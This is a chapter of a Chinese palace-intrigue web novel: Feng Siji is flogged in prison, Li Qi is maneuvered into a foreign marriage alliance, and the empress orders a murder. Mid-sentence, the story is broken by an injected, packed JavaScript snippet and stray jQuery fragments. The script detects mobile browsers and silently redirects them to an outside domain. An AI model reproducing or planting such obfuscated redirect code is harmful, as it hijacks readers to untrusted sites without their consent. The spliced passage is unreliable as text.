林峰心中这样想,却是不敢直接言明,只用那稀奇古怪的眼神看着冯斯疾。
要他说,前儿云安娘娘还特意嘱咐,定要他永不能出这大狱,怎么可能还来救他?
林峰想不明白,只觉眼前的冯大人与之多年前相比,实在变了太多。或许被贬的那段经历太痛苦,给他折磨得有些失常也不一定。
林峰越想越觉得这个可能性最大,否则他身为大家都爱戴的好官,昨日在清绮庙怎会做出那些举动来?
为妖女伤人不说,还当众……
只是越这么想,林峰越觉得冯大人无比可怜,先是被贬,又精神失常,还执念于那根本不可能的人来救他。
林峰一时间下不去手,见他血淋淋的伤,叹了口气,说:“先这样吧。”
后头一个小卒皱着眉担忧问:“可若是上头问起来……”
“编一些话顶上去,除非上头派人亲自来盯着我们行刑再说。”林峰随手把鞭条放在一边的刑桌上,接过说话的那个小卒递上来的帕子,把手上沾染的血迹擦拭干净。
他最后看了一眼不省人事的冯斯疾,对围在一边的几个小卒说:“松绑,给他带回去。明日这个点儿,继续把他绑过来。”
说着,他迈出了廊道,往外头明亮的地方去了。
冯斯疾被人架起双臂,丢回牢房的干草堆上,皮肉裂开的伤搓到粗糙的干草,疼得他倒吸一口凉气,有些干草根部更是深深扎进血肉里,他脸色发白,浑身冷汗,双手撑住草堆,艰难地坐起来。
浑身上下只有后臀没有伤,坐着是相对来说更好受的。
他低着头,看见自己胸口血糊糊的伤口里黏住了不少干草,扎得他血肉刺痛,他屈起手指,捻起干草,一根根清理干净。
清完了,却还是疼,冯斯疾轻轻后仰,脑袋靠在冷硬的墙壁上,迷蒙的双眼恰好看见头顶的一盏油灯。
灯火跳跃,抖擞着抖擞着,似乎能看见曾经李绮也坐在这儿,看着这盏油灯出神的模样。
冯斯疾想,李绮在黔洲的时候便为了金银在魏鸣身边虚与委蛇,如今选择到梁帝身边去,兴许也有她想要的东西,想办成的事。
她这么做必然心有苦衷,让他出不去,兴许也只是为了保护他。
毕竟他一遭跌落人们心目中的神坛,谁知道会被激愤的群民怎么对待?
等李绮做完她想做的事,若自己还活着,她一定会回来救他,然后和他成亲的。
冯斯疾这样想着,既然她是虚与委蛇,自然也有法子应对梁帝那些不干不净的想法。
他慢慢放下心来,苍白干裂的唇边慢慢勾起一个笑。
-
次日,磅礴的天光从东方升起,浩浩汤汤射破云层,洒落在楼宇重重的宫中。
云安宫里薄薄的窗纸被阳光穿透,让阳光泄了进来,恰好照在李绮白皙的脸颊。
李绮只觉得眼前一片光亮,惹得她睡不好,她揉揉眼睛索性不睡了,双手撑床起了身,还未开口喊人,便见薄如蝉翼的床幔外显出青兰焦急的身影。
李绮撩开床幔,青兰恰好走到近前,见她脸色不好,李绮奇怪地问:“有事?”
“是焦兰来了。”青兰说着,焦兰已经走了进来。
焦兰还是头一次见到李绮,看见李绮脸色皙白,桃花眼明亮含情,一点朱唇更是水润如泽,薄纱中衣下的身子虽然看不见,但从依稀的弧度来看,那身姿是世间难有的妩媚。
真可谓是人间尤物。
焦兰一时看得出了神,这瞬间竟然明白了冯大人为何会对她不顾性命,甚至在乱葬岗时难受得如同失去人间珍宝,换做是自己,恐怕只会比冯大人更没出息。
出神中,手肘被拽了一把,焦兰回过神来,见青兰正无语地看着自己说:“你看够了没,说事儿啊。”
“哦,”焦兰坐在青兰搬来的软凳上,坐姿笔直,规规矩矩地对李绮说:“是李恪公公让我来告诉你,昨儿夜里南燕的使臣秘密抵京了。陛下今夜会在宫里设宴招待。”
李绮不明所以:“这跟我有什么关系?”
焦兰的声音低了下去,悄悄说:“这些使臣里面,似乎有张洲竹,而且他们是来商量和亲的事。”
张洲竹三个字让李绮脸色变了一变。
这个狗东西,从京都逃出后,竟然投敌?
李绮万万没想到他会做到这一步,但转念想想,除了南燕,他还能在什么地方能继续位高权重?
李绮看着焦兰,沉思了一会儿说:“张洲竹投靠南燕,还装做使臣来宫里,目的绝对不只是和亲。”
更可能是她和冯斯疾。
是他们二人把张洲竹逼退,张洲竹此次来的真正目的恐怕是为报仇雪恨。
焦兰疑惑地说:“我也知道是这样,但想不明白的是,他如今也只是一个使臣而已,京都的旧部势利也早就慢慢瓦解,他什么也没有,能怎么对付你和冯大人?”
李绮摇摇头,她也想不透,“但总归多做些防备是没错的,这几日多多注意底下人,但凡有异,立刻解决。”
焦兰点点头,“我得回去了。”为免人怀疑,她不敢多待,李绮应声,吩咐青兰送出去。
李绮下了床榻穿衣,穿戴好后,青兰已经回来了,她手里端着水盆,放在桌上,侧头看过来说:“娘娘,还有一事。今早奴婢接到页书的传信,说陈护在牢里对冯大人用刑。”
李绮系衣带的手一顿:“陈护哪来的胆子?”
可刚问完她就想明白了,如今京都几大世家都已经散了,尤其是何氏与张洲竹两大世家,陈护若是能趁此机会将他们拔除干净,他就是下一个权臣。
他分明是借用冯斯疾清楚了何氏与张洲竹,这两人倒了后,他又把刀子对准冯斯疾。
冯斯疾如今在京都百姓心中的声望早就不如从前,就算在牢狱里用刑把他弄死了,恐怕除了李绮自己,没有人会去追究。
而李绮在外表现得,并不那么在意冯斯疾,甚至有些厌烦,陈护可能笃定了,连李绮也不会追究。
若是不管不问,恐怕没几日冯斯疾就要死在他手里。
这时,青兰追问道:“娘娘,怎么办?”
李绮看了她一眼,理解她对旧主的担心,她道:“我会让李恪去看看。”
青兰闻言,不漏痕迹地松了口气。
-
夜里,李绮没听见什么关于使臣宴的风声。
一般这种秘密设的宴,只有陛下和他身边的亲信清楚,偶尔皇后也会参与。
总之消息不会递到李绮这儿来,她只能等李恪把消息送来。
李绮特意等了很晚,一直到亥时都没什么风声,想来今日太晚或是太忙,李恪应该不会递消息过来了,她打算不等了,欲要睡下时,却又听见宫外传来一阵急促的脚步声。
紧跟着,外头就响起一个小太监的说话声:“陛下有令,传云安县主去永寿殿面圣。”
青兰忙打起珠帘进来,李绮已经自个儿起身,披好衣衫,领着青兰出去。
走到门框边,青兰突然停下,李绮疑惑地看过来,青兰凑上前,压低声音说:“这太监该是御前伺候的,最是规矩,怎么会叫你县主?”
她心有不安,恐怕不是好事。
李绮拍了拍她的手,眼神安抚了她,便又一字不发地往外走。
出了门,见那小太监独自立在宫苑里候着,见她出来,行了个小礼,便转身在前领路。
李绮瞅着在前走得着急的小太监,轻声试探问:“公公可知,陛下寻我何事?”
小太监头也不回,声音被夜风送到耳边:“奴婢不知,不过陛下看起来心情很不好。”
李绮想,或许是南燕使臣给了梁帝罪受,梁帝心情差,想传自己去说说话。
想到可能是这个,李绮稍稍放心一些。
可等进了永寿殿,李绮看见张宛也在时,才放下的心立刻提起来,警惕满满。
李绮不动声色,正要行礼,梁帝瞥了她一眼,说:“不必了。赐座。”
李绮坐在宫女搬来的软椅上。
梁帝自上而下地扫视她,觉着她还是和以前一样,喜欢穿红,眉眼明亮,总有一股张扬吸人的气质。
却也不太一样,那双眼睛多了股意味不明的,他看不懂的味道,有些像恨意。
梁帝移开目光,端起一盏茶轻抿,像是随口一问:“县主与朕的冯案使,是什么关系?”
李绮一愣:“陛下这是何意?”
梁帝把茶盖拨弄得轻响,漆黑的眼珠一眨不眨瞅着李绮,他没说话,张宛这时发话道:“清绮庙里,冯斯疾对你所做的事,陛下已经知道了。你既已与他两相情愿,又何必入宫来,丢皇室的颜面?”
张宛的语气还算好,没在梁帝面前暴露本色。
李绮对付梁帝,实在不需要太用心,只随口解释道:“陛下,那是冯案使对我爱而不得,所以才故意污蔑,为的就是想让旁人误会,将我绑在他身边,其实我与他一点关系都没有。”
张宛道:“你的意思是,你与冯斯疾不过萍水相逢?并未许下情谊?”
李绮觉得她这话好像有些不对,但如果否认,那便是认了和冯斯疾有关系,就算自己算不得什么正经妃子,梁帝也不允许自己认准了的人有一丝心杂。
她可以戏耍梁帝,也可以欺骗梁帝,因为那是她和他之间的博弈,但她却绝对不敢绿了梁帝。
只因皇室血统,无数双眼睛盯着,就算梁帝没本事弄死她,也有无数人会来弄死她。
李绮只好承认,“是。”
张宛立刻便笑了,她偏头看向身侧的帝王夫君,伸手拉过梁帝的手,轻拍着安抚道:“臣妾说的没错吧?既然县主心无所属,又没走过封妃大典,她依旧只是县主。宫里没有公主,拿她和亲最好不过。
“况且南燕明确说了,没有公主,拿县主嫁过去也成。您看?”
梁帝没看她,只看着座下的李绮,心中有怒,也有不舍。怒的是冯斯疾胆大妄为觊觎他早就看中的人,不舍的是好不容易才得到李绮,却又要将她给送出去。
“唉,”梁帝叹息一声,复杂地看着李绮说:“云洲和黔洲接壤,现在南燕占领了云洲,他们想要往西来攻打黔洲。如今朝廷的情况不宜开战,他们便提出和亲一事。可是,朕没有公主……”
梁帝说得明白,再看一旁张宛的态度,李绮还有什么不明白的?
这就是张洲竹的报复手段,让自己嫁过去,到了南燕还不是任由张洲竹搓揉捏扁?
而张洲竹也是笃定了,就算张宛与他不和睦,但张宛讨厌李绮,得了这个和亲的消息,一定会主动地推出李绮。
是一个好算计。
但李绮只不过片刻之间就有了对策,她半点儿不慌张,笑了笑说:“陛下,民女愿意为您分忧的。不过……”
张宛生怕她想变卦,急忙追问:“不过什么?”
李绮道:“若是如此,民女恐怕不能再继续待在宫里了,这身份说不过去。”
张宛巴不得她尽快离开,听见这话,还有什么可说的,当即便道:“你且放心,这些事自然有本宫周全。只要你答应,明日本宫便会安排人送你出宫。”
李绮笑道:“那便有劳娘娘了。”
和亲一事就这么敲定下来,李绮没待多久,张宛便打发她回了云安宫。
人走后,梁帝心中倍感惋惜,再瞧瞧坐在身边的张宛,只觉她那张脸早已看得腻了,顿觉好没意思,起身便去寻焦兰。
帝王不在,一直侯在一旁的陈姑姑慢步上前来,附耳对张宛小声说:“娘娘,县主不经考虑就这么答应了 ,会不会有诈?”
张宛沉思片刻,说:“本宫也担忧。明日送她出宫,你让桃红跟着一起,好好盯着她,省得她耍花招。”
“是。”
张宛起身,往殿外走,外头等候着的二十几位宫女太监簇拥着迎上前来。
陈姑姑扶着张宛坐上仪仗,一群人在仪仗的嘎吱声中,慢慢前往张宛居住的福寿宫。
张宛支颐着脑袋,靠在仪仗的软靠上闭目养神,低声问道:“凤印的事如何了?”
陈姑姑悻悻然看了她一眼,小声说:“已经派人去找过何暮姑娘了,但没找到,说是丢了……”
“丢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240330|175110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了?!”张宛的声音骤然拔高,睁开眼睛,瞧着周围诸多的随从和被吓得摇晃的仪仗,她稍微敛神,眼里闪过一片冷冽的肃杀,低声说:“此事不能走漏风声,安排人,去杀了何暮。”
陈姑姑颔首,应了一声是。
-
李绮回到云安宫,脸上伪装的笑容尽数敛去,在永寿殿演了一出戏,脸皮都要笑僵了。
李绮往床榻上一躺,舒舒服服地翻了个身,只觉浑身都松散了许多。
桃红端来一盆热水,放在李绮脚边,为她脱下绣鞋,正要捧她的脚放进水盆,李绮说:“不用伺候了,你下去吧 。”
桃红颔首,直起身来,退出了屋子。
青兰撩起珠帘进来,坐在李绮身边,皱着眉说:“县主就这么答应了,和亲可不是玩笑,你要怎么脱身?”
李绮侧头看过来,伸手拍了拍青兰的肩膀以作安抚,无谓地笑了笑说:“放心吧,我自有办法。”
话音刚落,就听见外头的桃红喊了一声:“娘娘,李恪公公来了。”
“让他进来。”
不一会儿人,李恪甩着拂尘进了屋内,他先是扯着嗓子说了几句客套话,确保外头的宫女们都能听见,这才从袖子里拿出一个盒子来,递给青兰。
青兰连忙收下,打开盒盖,发现里面赫然躺着的是凤印!
她一愣,惊讶地看向李恪:“李公公,这是……”
李绮也奇怪地看着他,不明白张宛的凤印怎会在此。
李恪解释道:“之前冯大人安排云山闵等人去何府闹事,这是山闵在何暮的房中找到的。他交给了大人,大人让我交给你。说是你日后对付张宛时,可能用得上。”
李绮点点头,命青兰将东西放好,明日一起带着出宫。随后又看向还立在前头的李恪,他没有要走的意思,而是看着李绮欲言又止。
李绮皱眉问:“你还有事?”
李恪低下头:“明娘娘可有消息了?”
从张洲竹逃出京都后,事情一件接一件,李恪一直都抽不出空来去询问情况。
他担心明容,只因她不像李绮那么有手段。
李绮道:“前些日才得的消息,她已经从张洲竹手底下逃脱,应该要不了多久就会到京都了。”
她相信董明容的能力,李恪自然也是相信的,他转而问:“和亲一事,怕是张洲竹算计好的,我听说你答应了。”
“嗯。”
“县主向来有主意,我不多置喙,只等您吩咐调遣。”
李绮点点头。
李恪没再多言,慢慢退了出去。
李绮泡好脚,躺在榻上,听着桃红前来端走水盆,不一会儿青兰来给她放下床幔,又轻手轻脚退到外头去,躺在守夜的小榻上睡去。
李绮闭着眼睛,听着青兰均匀的呼吸声,闭着眼睛睡了会儿,没有睡着,她索性睁开眼睛,看着床幔外模糊的家具,心思越飞越远。
她想起冯斯疾,也想云洲,想董明容。她很希望能够收复云洲,一切回归正常的生活,明容能与李恪不再这么分离颠沛,自己也不用再与人处心积虑,将冯斯疾看成一个利用的工具。
李绮突然发现,自己想做的事很多很多。
走了一路,等了这么多年,好在终于快要结束了。
李绮思索着接下来的路,迷迷蒙蒙地睡了过去。
-
第二日天蒙蒙亮,李绮还在睡梦中,就感觉有人在晃自己,她睡眼惺忪地睁开眼睛,见青兰已经穿戴整齐,站在床榻边,还未完全亮起的灰蒙蒙天光,将她身影撕得有些模糊。
“县主,今日要出宫,该起身了,若是晚一些日头大,不好受。”
青兰扶着李绮起来,好在李绮没有赖床的习惯,她自个儿下了榻,穿好衣裳,青兰出去传早膳,桃红端着水盆进来,放到桌上。
李绮走到桌边,拿起水盆里的帕子揉了揉,看了一眼桃红问:“我以为你回福寿宫去了。”
桃红颔首低眉,小心翼翼地说:“昨儿夜里才得到陈姑姑的话,说要奴婢随县主一起出宫去。”
李绮一顿,看着她:“随我出宫?”
桃红应了一声,她有些怕身前的云安县主,不止是听过的那些传闻,而是她那双眼睛扫过来时,仿佛能看穿一切的锐利,以及身上那无谓骄傲的气质,都让她感到了压迫。
李绮见她畏头畏脑的样子,猜想她也做不了什么,恐怕连近身都不敢,张宛派这种人监视自己,简直就是另类的侮辱。
李绮没赶人,随口哦了声,梳洗过后,用过青兰传来的早膳,又将细软收好,便出了宫。
来的时候东西就不多,拢共两个箱笼,还没住上三天又回去了,细软好收拾得多。
这一来一去,张宛有的是法子说李绮不过是入宫玩儿了两日,总归不是什么正经后妃,这会儿只要不承认,没人会细究什么。
李绮只觉得,这一切有些荒诞可笑。
她入宫还没来得及动刀子杀人呢,就被谴出来了。
马车嘎吱嘎吱到了县主府门外,页书早得了消息,早早在府外等着了。
青兰扶着李绮下马车,往府里走去,桃红小心跟在二人身后,李绮回头看了她一眼,说:“你且去找人为你安排住处和活儿,不必跟着了。”
桃红有些踌躇,来之前陈姑姑交代过要好好盯着李绮,可这会儿才刚到县主府,就被打发走了。
奈何桃红不敢说什么,只唯唯诺诺应了一声。
李绮继续往里走,页书跟在她身侧,她偏头看了一眼柴房的方向,问道:“何章敬怎么样?”
“都依照你的吩咐,不给吃只给水,这会儿很虚弱。不过,属下有一事要禀,”页书皱着眉说:“昨晚何暮死在刑狱里了,她死后没多久,何汝成也撞墙自尽了。属下去打探了一番,里面的人都说,是皇后的人来过。”
李绮听见这个消息,微微愣了愣,“她出手这般快?”
“县主,怎么办?”
“不怎么办,既然他们父女俩都死了,何章敬也不必留了。”
说着,李绮迈向了关着何章敬的柴房。